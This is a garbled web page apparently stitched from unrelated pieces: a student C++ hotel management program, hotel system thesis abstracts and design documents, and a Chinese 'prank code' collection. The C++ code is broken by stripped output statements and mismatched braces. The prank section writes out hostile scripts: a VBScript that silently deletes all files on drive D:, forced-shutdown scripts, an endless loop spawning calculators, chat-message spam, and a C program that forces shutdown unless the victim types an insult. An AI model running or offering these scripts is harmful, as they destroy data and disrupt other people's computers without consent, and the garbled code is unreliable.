C++版酒店管理程序代码

C++版酒店管理程序代码
C++版酒店管理程序代码

程序代码

N:最终改进版代码(利用结构体储存多种类型的数据)

好处:比数组能储存更多类型的数据!

#include

#include

#include //常用函数库

using namespace std;

/*在c++中struct和类的区别在于struct不能有方法,所有成员是public的*/

struct Room

{

int Number;

int Price;

int State;

int days;

string Name;

string Phone;

string ID;

};//room; 可以在声明struct的时候声明一个struct实例

Room room[80];

class BookRoom //定义预定房间类

{

private:

string cName; //顾客姓名

int stayTime; //预定天数

int roomType; //房间类型(1.标准单人间2.大床房3.标准双人间4. 套房)string phoneNum; // 预留手机号

public:

void setData()

{

string name;

int time;

int type;

string num;

cout<<"您好,请输入您的姓名:"<>name; cName=name;

cout<<"预定天数为:"<>time; stayTime=time;

cout<<"想要预定的房间类型:1.标准单人间100/天2.大床房200/天3.标准双人间300/天 4.套房400/天"<>type; roomType=type;

cout<<"预留手机号:"<>num; phoneNum=num;

};

void Book()

{

cout<<"正在预定..."<

switch(this->roomType)

{

case 1:for(int i=0;i<20;i++)

{

if (room[i].State==0) //房间无人占用且无人预定

{

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

cout<<"预定成功!房间号:"<

room[i].State=1;break; //已被预订

}

else cout<

}break;

case 2:for(int i=20;i<40;i++)

{

if(room[i].State==0)

{

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

cout<<"预定成功!房间号:"<

room[i].State=1; break;

}

else cout<

}break;

case 3:for(int i=40;i<60;i++)

{

if(room[i].State==0)

{

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

cout<<"预定成功!房间号:"<

room[i].State=1; break;

}

else cout<

}break;

case 4:for(int i=60;i<80;i++)

{

if(room[i].State==0)

{

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

cout<<"预定成功!房间号:"<

room[i].State=1; break;

}

else cout<

}break;

default:cout<<"您输入的房间类型有误!"<

}

};

};

class CheckIn //定义办理入住类

{

private:

string cName;

string cSex;

string idNum; //身份证号

int check_inDate; //入住日期

int stayTime;

int roomType;

string phoneNum;

public:

void unbooked()

{

string name;

string sex;

string idnum;

int date;

int time;

int type;

string num;

cout<<"客户姓名:"<>name; cName=name;

cout<<"客户性别:"<>sex; cSex=sex;

cout<<"客户身份证号:"<>idnum; idNum=idnum;

cout<<"入住日期:"<>date; check_inDate=date;

cout<<"占用天数:"<>time;stayTime=time;

cout<<"房间类型:1.标准单人间100/天 2.大床房200/天 3.标准双人间

300/天4.套房400/天"<>type;roomType=type;

cout<<"客户手机号:"<>num; phoneNum=num;

switch(this->roomType)

{

case 1:for(int i=0;i<20;i++)

{

if(room[i].State==0){

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

room[i].ID=this->idNum;

cout<<"入住成功!房间号:"<

cout<<"请支付200元押金"<

room[i].State=1;

break;

}

else cout<<"抱歉,该房间类型没有了"<

}break;

case 2:for(int i=20;i<40;i++)

{

if(room[i].State==0){

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

room[i].ID=this->idNum;

cout<<"入住成功!房间号:"<

cout<<"请支付400元押金"<

room[i].State=1;

break;

}

else cout<<"抱歉,该房间类型没有了"<

}break;

case 3:for(int i=40;i<60;i++)

{

if(room[i].State==0){

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

room[i].ID=this->idNum;

cout<<"入住成功!房间号:"<

cout<<"请支付600元押金"<

room[i].State=1;

break;

}

else cout<<"抱歉,该房间类型没有了"<

}break;

case 4:for(int i=60;i<80;i++)

{

if(room[i].State==0){

room[i].days=this->stayTime;

room[i].Name=this->cName;

room[i].Phone=this->phoneNum;

room[i].Price*=this->stayTime;

room[i].ID=this->idNum;

cout<<"入住成功!房间号:"<

cout<<"请支付800元押金"<

room[i].State=1;

break;

}

else cout<<"抱歉,该房间类型没有了"<

}break;

default:cout<<"您输入的房间类型有误!"<

}

}

void booked()

{

string compareItem;

string id_num;

cout<<"请输入您的姓名或者手机号:"<>compareItem;

for(int i=0;i<80;i++)

{

if(room[i].Name==compareItem||room[i].Phone==compareItem)

{

cout<<"验证成功!请支付:"<<(room[i].Price*2)<<"元押金"<

cout<<"请登记客户的身份证号:"<>id_num;idNum=id_num;room[i].ID=idNum;

cout<<"房间号为:"<

break;

}

}

}

};

class checkOut{

private:

string name;

int number;

int days;

int price;

public:

void checkout(){

int expense;

cout<<"请输入房间号:"<>number;

cout<<"请输入姓名:"<>name;

cout<<"请输入实际住宿天数:"<>days;

for(int i=0;i<80;i++){

if((room[i].Name==name) && (room[i].Number==number)){

expense=days*(room[i].Number/100*100);

cout<<"房间号为"<

cout<<"押金为:"<

if(expense>room[i].Price) cout<<"请补交"<<(expense-room[i].Price)<<"元"<

else cout<<"退回:"<<(room[i].Price-expense)<<"元"<

}

else cout<

}

cout<<"房费核算清后请安任意键继续"<

system("pause");

cout<<"感谢入住本酒店,欢迎下次光临!"<

}

};

void menu()

{

cout<<"欢迎使用酒店管理系统!"<

cout<<"请选择:"<

cout<<"1.预定房间"<

cout<<"2.办理入住"<

cout<<"3.退房结账"<

cout<<"4.退出系统"<

}

void init()

{

int n=101;

for(int i=0;i<20;i++)

{

room[i].Number=n++;

room[i].Price=100;

room[i].State=0;

n=201;

for(int i=20;i<40;i++)

{

room[i].Number=n++;

room[i].Price=200;

room[i].State=0;

}

n=301;

for(int i=40;i<60;i++)

{

room[i].Number=n++;

room[i].Price=300;

room[i].State=0;

}

n=401;

for(int i=60;i<80;i++)

{

room[i].Number=n++;

room[i].Price=400;

room[i].State=0;

}

}

int main(void)

{

init();

int flag=1;

while(flag)

{

menu();

int c;

cin>>c;

switch(c)

case 1:

{

BookRoom*a=new BookRoom;

a->setData();

a->Book();

break;

}

case 2:

{

CheckIn*b=new CheckIn;

cout<<"您有预定吗?1.已预定2.未预定"<

cin>>c;

switch(c)

{

case 1:

{

b->booked();

break;

}

case 2:

{

b->unbooked();

break;

}

default:cout<<"输入有误!"<

}

break;

}

case 3:

{

checkOut *c=new checkOut;

c->checkout();

break;

case 4:

{

cout<<"谢谢使用,再见!"<

flag=0;

break;

}

default:cout<<"输入有误!"<

}

}

return 0;

}

O:最初废除版(利用数组)

因为数组只能简单的储存一种类型的数据,例如字符和数字。而酒店管理系统这种情境,一个房间要储存多种数据,例如客户姓名、客户性别、预订房间号、客户预留手机号、客户占用天数、客户身份证号以及押金和实际花销等。因此我选用了结构体来储存。

以下是Old version:

#include

#include

using namespace std;

int room_num[4][20]; //定义数组,共4个楼层,每个楼层20个房间,一层一类型

class BookRoom //定义预定房间类

{

private:

string cName; //顾客姓名

int stayTime; //预定天数

int roomType; //房间类型(1.标准单人间2.大床房3.标准双人间4. 套房)string phoneNum; // 预留手机号(也可使用longint)

public:

void setData()

{

string name;

int time;

int type;

string num;

cout<<"您好,请输入您的姓名:"<>name; cName=name;

cout<<"预定天数为:"<>time; stayTime=time;

cout<<"想要预定的房间类型:1.标准单人间2.大床房3.标准双人间4. 套房"<>type; roomType=type;

cout<<"预留手机号:"<>num; phoneNum=num;

};

void Book()

{

cout<<"正在预定..."<

switch(this->roomType){

case 1:for(int i=0;i<20;i++)

{

if (room_num[1][i]==0) //房间无人占用且无人预定

{

cout<<"预定成功!房间号:10"<

room_num[1][i]=1;break; //已被预订

}

else cout<<"该类型房间没有了"<

}break;

case 2:for(int i=0;i<20;i++)

{

if(room_num[2][i]==0)

{

cout<<"预定成功!房间号:20"<

room_num[2][i]=1; break;

}

else cout<<"该类型房间没有了"<

}break;

case 3:for(int i=0;i<20;i++)

{

if(room_num[3][i]==0)

{

cout<<"预定成功!房间号:30"<

room_num[3][i]=1; break;

}

else cout<<"该类型房间没有了"<

}break;

case 4:for(int i=0;i<20;i++)

{

if(room_num[4][i]==0)

{

cout<<"预定成功!房间号:40"<

room_num[4][i]=1; break;

}

else cout<<"该类型房间没有了"<

}break;

default:cout<<"您输入的房间类型有误!"<

}

};

};

class Checkin //定义办理入住类

{

private:

string cName;

string cSex;

string cId; //身份证号

string phoneNum;

int check_inDate; //入住时间

int stayTime;

int Room_num;

public:

void setData()

{

string name;

string sex;

string id;

string num;

int date;

int time;

int room_num;

cout<<"客户姓名:"<>name;cName=name;

cout<<"性别:"<>sex;cSex=sex;

cout<<"身份证号:"<>id;cId=id;

cout<<"手机号:"<>num;phoneNum=num;

cout<<"登记入住时间:"<>date;check_inDate=date;

cout<<"入住天数:"<>time;stayTime=time;

cout<<"房间号:"<>room_num;Room_num=room_num;

};

void Check()

{

cout<<"正在办理..."<

switch(Room_num/100)

{

case 1:

cout<<"办理成功!共计消费:"<<100*stayTime<

break;

case 2:

cout<<"办理成功!共计消费:"<<200*stayTime<

break;

case 3:

cout<<"办理成功!共计消费:"<<300*stayTime<

break;

case 4:

cout<<"办理成功!共计消费:"<<400*stayTime<

break;

default:cout<<"输入错误!"<

}

};

} ;

void menu()

{

cout<<"欢迎使用酒店管理系统!"<

cout<<"请选择:"<

cout<<"1.预定房间"<

cout<<"2.办理入住"<

cout<<"3.退房结账"<

cout<<"4.退出系统"<

}

int main(void)

{

for(int i=0;i<4;i++)

{

for(int j=0;j<20;j++)

{

room_num[i][j]=0;

}

}

int flag=1;

while(flag)

{

menu();

int c;

cin>>c;

switch(c)

{

case 1:

{

BookRoom*a=new BookRoom;

a->setData();

a->Book();

break;

}

case 2:

{

Checkin*b=new Checkin;

b->setData();

b->Check();

break;

}

//case3 to do

case 4:

{

cout<<"谢谢使用,再见!"<

flag=0;

break;

}

default:cout<<"输入有误!"<

}

}

return 0;

}

酒店管理系统的设计与实现77338

摘要:随着计算机和信息技术的飞速发展,酒店客房的管理由传统的工作模式逐渐被信息化、网络化的现代工作模式所代替。以住宿为主的酒店假如再延 用传统的管理模式,就会增加酒店管理成本和降低工作效率。在酒店客房管理中融入先进的计算机和软件技术,利用酒店客房管理系统进行管理就显得十分有意义。利用酒店客房管理系统进行管理能让管理者及时了解酒店整体情况,便于各种决策,同时也简化了管理的各种复杂操作,提高了酒店的管理效率。本文以茂名星期八商务酒店为例采用Visual Basic和ACCESS相结合,创建一个适合实际情况的酒店客房管理系统。 关键词:酒店客房管理系统设计实现 Abstract:With the rapid development of computer and information technology, the management of hotel rooms by the traditional working mode has gradually replaced by modern information technology, the network work mode. In order to stay at the main hotel if the extension of the traditional management mode, will increase the cost and reduce the efficiency of hotel management. With advanced computers and software technology in the hotel guest room management, it is very meaningful and managed by the hotel guest room management system. Management can make managers to understand the overall situation of the hotel, hotel rooms management system, convenient for various decision-making, but also simplifies the management of a variety of complex operation, improve the management efficiency of the hotel management. In this paper, Maoming week eight Traders Hotel as an example using Visual Basic and ACCESS combination, to create a suitable for the actual situation of the hotel room management system. Keywords:Hotel room management system Design Realization

酒店管理系统详细设计

酒店管理系统详细设计 1.引言 1.1 编写目的 编写本说明书的目的是说明对程序系统的设计考虑,包括程序系统的基本处理流程、程序系统的组织结构、功能分配、模块化粉、接口设计、运行设计、数据结 构设计和出错设计等,比概要设计更为详细,为编码的实现打下基础。 预期读者为:软件开发的人员,项目评审人员,及软件测试人员。 1.2 背影 说明: ①待开发的软件系统的名称:酒店管理系统; ②本项目的任务提出者:酒店管理人员; ③本项目的任务开发者:酒店管理系统软件开发小组; ④用户及实现该软件的计算中心:酒店计算机; 1.3 定义 顾客就餐管理:对就餐的顾客进行管理,并存储顾客消费记录。 顾客住宿管理:对就餐的住宿进行管理,并存储顾客住宿记录。 顾客信息:存放顾客的,证件类型,证件号,性别,年龄,籍贯,工作单位等 各项基本信息,还有就餐住宿信息,管理员负责管理顾客基本信息。 房间信息:包括房间编号,房间等级,房间价格,房间类型等信息 菜肴信息:包括菜肴编号,菜肴名称,菜肴价格,菜肴类型等信息 1.4 参考资料 ①《现代软件工程》希望电子涌等编著 ②详细设计说明书(GB8567——88).doc 2. 程序系统的结构 用一系列图表列出本程序系统的每个程序(包括每个模块和子程序)的名称、标识符和它们之间的层次结构关系。

3. 用户输入模块(USERINPUT)设计说明 3.1 程序描述 该程序是用户登录时所必须要用到的,登陆之前需要验证用户身份的合法性,故而需要用户输入程序,输入用户名及密码来进行身份验证。

本程序为非常驻存,是子程序、可重用、是顺序处理,在输入之后方能进行验证3.2 功能 3.3 性能 精度要求精确到整型的个位、字符型完全正确,不支持部分匹配; 时间特性要求:要求等待时间<0.5s 3.4 输入项 输入项名称:用户名 类型:字符串型 输入方式:手工输入 数据来源:系统自带的数据库中的信息 输入项名称:密码 类型:字符串型 输入方式:手工输入 数据来源:系统的数据库中的信息 安全条件:在输入密码时用户界面上显示为****** 3.5 输出项 输出项:用户名错误输出 数据类型:字符串型 输出以信息对话框的形式输出 输出容是用户名错误,请重新输入 输出项:密码错误输出

C程序代码大全

C程序代码大全 This manuscript was revised on November 28, 2020

<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

酒店管理系统

课程设计说明书 酒店管理系统 班级:计科(1)班 姓名:叶春 学号:201010510120 起止日期:2012年5月14日

目录一引言 1.1、项目目标 1.2、系统应用软件环境二需求分析 2.1应用背景 2.2系统结构和特点 2.3系统流程图 2.4基础设置 2.5前台接待管理 三数据库概念模型设计3.1系统总体E-R图 3.2分E-R图 四、数据库逻辑模型设计

一引言 近年来,随着酒店业竞争的加剧,酒店之间客源的争夺越来越激烈,利润空间也越来越小,为了能在激烈竞争中生存,各酒店都在从方方面面加强的实力,他们纷纷把目光投向酒店智能化、信息化。这就要求酒店管理需要使用更有效的信息化手段,广泛拓展经营空间,进一步降低运营成本。先进的酒店管理系统,不但可以有效地管理大量的信息,而且可以引进先进的管理理念,提高服务质量、工作效率,完善酒店内部管理体制,提高酒店决策水平,提高酒店的管理效益及经济效益,从而提高酒店的竞争力。因此,先进的管理信息系统已成为酒店管理的核心之一。 1.1、项目目标 本系统主要是针对目前酒店管理中出现效率低下、工作繁琐等问题而开发的,主要功能包括预定、接待、客房服务、餐饮、娱乐等等,通过信息系统可以帮助酒店管理方及时制定合理计划,提高经济效益,实现酒店各种信息的系统化、规范化和自动化。 1.2、系统应用软件环境 客户端和服务端的操作系统:Windows XP、window7 开发工具:Myeclipse、Tomcat、Dreamweaver、Photoshop 数据数据库平台:Microsoft公司的SQL Server 2005

酒店管理系统

大学数学计算机学院 面向对象系统分析与UML 课程设计 文档 酒店管理系统 学院:数学计算机学院 专业:计算机科学与技术(师) 班级:09级(5)班 学号: 姓名:丁芳 指导教师:唐莉君 日期: 2012 年 6 月26日

酒店管理系统 一、摘要 目前大多数酒店提供的服务多种多样,规模大小也各不相同,但在一些酒店中,各种信息的管理仍然采用手工的式:用户预订客房时,需要手工填写入住单,酒店保存的也是普通的纸质单据。对客房的入住信息、预订情况进行查询、统计处理时,需要人工对各种单据迚行操作。如果对已记录的信息进行修改,需要直接对纸质单据进行直接修改。这些手工操作效率非常的低,记录的容难以理解,还容易出现操作错误,不利于酒店的整体管理。开发一家酒店的管理信息系统,用来信息化自动化酒店的日常管理行为。以便管理层对酒店经营情况更好的管理。 二、关键字:酒店管理用例图面向对象模型 三、引言 本软件全称为酒店管理系统,适用于普通酒店、宾馆。 为了解决上述问题,我们需要一个酒店管理信息系统来管理整个酒店的日常运作。这样,客户入住、客房信息查询、客房入住查询等操作都可以信息化,数据存储于电脑中,便利管理层对酒店经营情况的管理。虽然大多数酒店提供的服务多种多样,规模大小也各不相同,但稍具规模的酒店必含下面三类服务:饮食、住宿和娱乐。由于我们对酒店行业没有具体的接触和实质性的了解。此次数据库设计只能在一些收集到的基本材料与个人直观认识的基础上,简单模仿中等规模的酒店设计管理系统,并将其抽象成一个由三部门组成、实现三大服务的系统。 酒店信息管理系统就成了帮助酒店全面实现计算机管理的关键。近年

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

酒店管理系统源代码

酒店管理系统源代码 #include #include #include #include typedef struct tagCustomer { char m_ID[19]; /*身份证号码*/ char m_name[10]; /*顾客姓名*/ int m_age; /*顾客年龄*/ char m_sex[6]; /*顾客性别*/ int num; }Customer;/*顾客结构*/ typedef struct tagRoom { int m_num; /*房间号*/ int m_floor; /*楼层*/ int m_price; /*价格*/ int m_use; /*是否已入住*/

}Room;/*房间结构*/ int i,j=0,age,num,floor,price,use,n; int reg =0; Customer cus[5]; Room r[5]; int count=5; char ID[18],name[10],sex[6]; FILE *fproom; FILE *fpcustomer; void Customer_Input() { if(count<=5) { printf("请输入身份证号(18位数字):"); scanf("%s",&cus[j].m_ID); printf("请输入姓名(10位字符)"); scanf("%s",&cus[j].m_name); printf("请输入年龄(数字型)"); scanf("%d",&cus[j].m_age); printf("请输入性别(男或女):"); scanf("%s",&cus[j].m_sex);

酒店管理系统

****酒店 ****酒店酒店管理系统 技术方案

一、前言 随着旅游业的发展,酒店业如雨后春笋般蓬勃发展起来,既是社会发展使然,更是人之常情所至,如此说,酒店业的兴旺正是应势而生,水到渠成的事。现在酒店业已不仅仅只是提供给人们一个吃住行的场所,而是集吃、住、行、娱乐、健身和购物为一身的多功能服务体系。这种社会需求下,人们对酒店业所提供的服务有了更高的要求,所以,将计算机管理引入酒店业的管理体系当中,无疑对酒店业的服务水平更上一层楼提供了一种有利的支持。计算机管理可令酒店业的运作更加可靠、快捷和高效,不但节省了管理人员宝贵的时间,更是对顾客旅途劳顿的一种慰藉,因此,在酒店业竞争越来越激烈的情况下,必须以管理求生存,向管理要市场。当然,任何一种计算机管理体系的建立都是对一种管理模式的体现,本公司的软件主要是实现酒店客房、电话、餐饮、娱乐、商务中心等各方面的管理,可以说是一种全方位管理模式方案。它提供给客户以快捷、准确和可靠的服务,同时,也提高了酒店自身的管理水平。为使酒店管理水平达到一个新的台阶。我们提出此酒店管理方案,希望贵方对方案不妥之处提出宝贵意见 二、系统概述 1、项目描述 ****酒店是一个集娱乐、住宿、餐饮为一体的综合性酒店。为了使***酒店在众多的酒店中提高竞争能力,做到优良的管理和完美的服务,我们按照五星级宾馆的管理模式推荐以下基于计算机网络技术,结合多媒体技术、通讯技术为一体的酒店管理解决方案。 方案按照五星级以上酒店的现代化管理要求设计,实现对酒店接待、客房、电话、餐饮、娱乐、商务中心等服务设施的全方位计算机管理,目标在于提高酒店营业体系的作业效率,提高服务的客户满意度,加强酒店的市场竞争能力,树立良好的企业形象。通过计算机管理,一方面提供给客户快捷、准确、可靠的服务,一方面提高酒店自身的管理水平,及时准确获取营业信息,辅助对市场需求变化的决策。 2、系统目标 随着旅游服务业的蓬勃发展,****酒店把提高管理水平和服务质量做为增

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

酒店管理系统操作流程

酒店管理系统基本操作流程 一、电脑的基本操作 1.电脑正常开关机: 开机:先打开主机电源,看到电源指示灯亮后,再打开显示器的电源开关,当显示器的电源灯由黄色变为蓝色后,说明电脑正常开机,大约5-20秒后即进入WINDOWS操作系统。 关机:对于WINDOWS操作系统,可以直接从桌面左下角“开始”菜单中选择“关闭系统”弹出的窗口下“关闭计算机”项,即可实现正常关机。 2.鼠标的使用: 单击:按下鼠标左边键一次为单击,所有操作系统中“按钮”或“下拉式列表”等控件选择时,基本采用单击。 双击:迅速按下鼠标左边按键两次(两次时间间隔要短,如果过长就会变为两次单击)为双击;操作系统中,图标选择及表格项目选择基本上采用双击。 右击:按下鼠标右边按键一次为右击。 拖动:将鼠标指针移到目标上,按住鼠标左边按键不放然后移动鼠标为拖动。 3.电脑死机处理: 一般死机:电脑在运行过程中,因人为因素或电脑环境因素而出现没有响应预定的操作结果,同时通过正常操作也无法退出的情况下;可通过同时按Ctrl+Alt+Del三个键强行关闭当前操作,等电脑弹出“关闭程序”窗口后,在窗口中按“结束任务”按钮,操作

系统就会强行结束当前操作,结束后再弹出对话框,再次按“结束任务”按钮,电脑即可恢复操作。 严重死机:电脑出现死机时,通过上述恢复操作还不能正常运作,或者是键盘鼠标根本不起作用;这样的情况就是严重死机,解决的唯一办法是:连续按住主机电源开关,直到关闭电源为止。 4.TAB键的运用 WINDOWS所有界面操作中,将光标从一个对象移动到另一个对象时,默认采用键盘上左上角的“TAB”键,而不是回车键。 二、酒店管理系统登录操作说明 1. 在WINDOWS桌面上,找到名字为(酒店管理)或(HOTEL)的快 捷图标,将鼠标指针移到该图标上,并双击鼠标左键以进入(酒店管理系统)登录界面。 2. 依次填入你的用户名(系统管理员给予你的工号)、口令(属于 你自己的密码,最长六位)以及班次(你所当值的班次)。然后单击登录窗口左下方的“确定”按钮以登录系统,进入主界面。 三、酒店营销子系统功能操作程序说明(接待) 1. 散客客人登记: 单击(酒店管理系统)主界面上方的“接待”按扭弹出接待下拉式菜单,在接待下拉式菜单中选择“入住登记”并单击它以进入(入住登记)实时房态窗口,以下操作都在此窗口中进行,敬请留意! 快束登记: a)在窗口中选择一空净房间,并双击该房间图标弹出功能菜单界

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

酒店管理系统c语言

附录 1.源程序代码 #include void search(); int main() { int s; printf(" ------------------------------\n"); printf(" && 长江大酒店欢迎您的光临&&\n"); printf(" ------------------------------\n"); printf(" 1.进入 2退出\n"); printf("请您输入您的选择:"); scanf("%d",&s);//输入选项前的数字 if(s==1)//判断s是否为1 search(); else printf("抱歉,您的输入有误!\n"); return 0; }

void search() { int p[18],q[3],a,b,c,x,y,z; printf("请选择您需要的服务号码:\n1.预订房间 2.退订房间\n"); scanf("%d",&a);//输入服务号码 if(a>2||a<1)//判断a是否为1或2 { printf("抱歉,您的输入有误,请重新输入!\n"); } else switch(a) { case 1://执行预订房间的操作 { printf("请您输入您的身份证号码:\n"); scanf("%d",&p[18]);//输入身份证18位数字 printf("您已成功登入预订系统!!\n"); printf("请您选择预订房间标准的号码:\n"); printf("1.单人标准间/夜 150元 2.双人标准间/夜 200元\n3.豪华套房/夜 300元 4.总统套房/夜 500元\n"); scanf("%d",&b);//输入预订房间的种类 switch(b) {

酒店管理系统55986

本科实验报告 课程名称:系统分析与设计 实验项目:《酒店管理系统》实验 实验地点:逸夫楼 专业班级:软件1406 学号:2014005674 学生姓名:张琳 指导教师:孟东霞 2016年9月25 日

一、实验目的 通过《系统分析与设计》实验,使学生在实际的案例中完成系统分析与系统设计中的主要步骤,并熟悉信息系统开发的有关应用软件,加深对信息系统分析与设计课程基础理论、基本知识的理解,提高分析和解决实际问题的能力,使学生在实践中熟悉信息系统分析与设计的规范,为后继的学习打下良好的基础。 二、实验要求 学生以个人为单位完成,自选题目,班内题目不重复,使用UML进行系统分析与设计,并完成实验报告。实验报告以纸质版(A4)在课程结束后二周上内提交(12周)。 三、实验主要设备:台式或笔记本计算机 四、实验内容 1 选题及项目背景 酒店管理系统是一个面向酒店用来进行酒店日常管理的系统。该系统能能够为酒店 的管理者对酒店进行比较精确的管理,能够实现用户进行酒店的预定等操作,对酒店各部门提供管理功能。 2 定义 酒店管理系统是记录酒店客人的信息,提供查询,报表打印等一系列工作,他能让工作人员从繁琐的工作中解脱出来。本系统将结合中国酒店的实际特点,模仿中小型酒店的设计管理系统,将整个酒店管理系统细分成三个部分:房间管理、顾客管理和财务管理。实现客房管理、房态查询、系统管理、会员管理等基本功能。 3 参考资料《系统分析与设计》《酒店管理方案》 4 系统分析与设计 4.1需求分析 4.1.1识别参与者 在本系统中参与者有:酒店管理员,酒店经理,前台服务 4.1.2 对需求进行捕获与描述 1.用例名称:用户信息管理 执行者:酒店管理员和前台服务员

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

酒店管理系统详细设计

